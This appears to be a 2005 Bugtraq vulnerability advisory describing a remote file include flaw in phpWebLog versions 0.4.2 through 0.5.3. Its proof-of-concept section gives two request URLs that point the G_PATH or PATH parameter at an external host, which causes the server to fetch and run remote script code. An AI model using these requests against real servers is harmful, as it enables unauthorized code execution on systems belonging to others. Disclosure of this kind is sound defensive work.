Jason Hines PHPWebLog Remote File Include Vulnerability

Bugtraq ID:	12747
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Mar 07 2005 12:00AM
Updated:	Mar 07 2005 12:00AM
Credit:	Filip Groszynski <[email protected]> is credited with the discovery of this issue.
Vulnerable:	Jason Hines phpWebLog 0.5.3 Jason Hines phpWebLog 0.5.2 Jason Hines phpWebLog 0.5.1 Jason Hines phpWebLog 0.5 Jason Hines phpWebLog 0.4.2 - Debian Linux 2.2 - FreeBSD FreeBSD 4.2 - Mandriva Linux Mandrake 7.2 - OpenBSD OpenBSD 2.8 - Redhat Linux 7.0 - Sun Solaris 8_sparc - SuSE Linux 7.0
Not Vulnerable:

Jason Hines PHPWebLog Remote File Include Vulnerability

phpWebLog is prone to remote file include vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied input prior to using it in a PHP 'include_once()' function call.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

Jason Hines PHPWebLog Remote File Include Vulnerability

No exploit is required to leverage this issue. The following proof of concept has been provided:

http://www.example.com/phpWebLog/include/init.inc.php?G_PATH=http://www.example.org/
http://www.example.com/phpWebLog/backend/addons/links/index.php?PATH=http://www.example.org/

Jason Hines PHPWebLog Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Jason Hines PHPWebLog Remote File Include Vulnerability

References:

• phpWebLog Home Page (Jason Hines)
  
• phpWebLog <= 0.5.3 arbitrary file inclusion (VXSfx) (Filip Groszynski )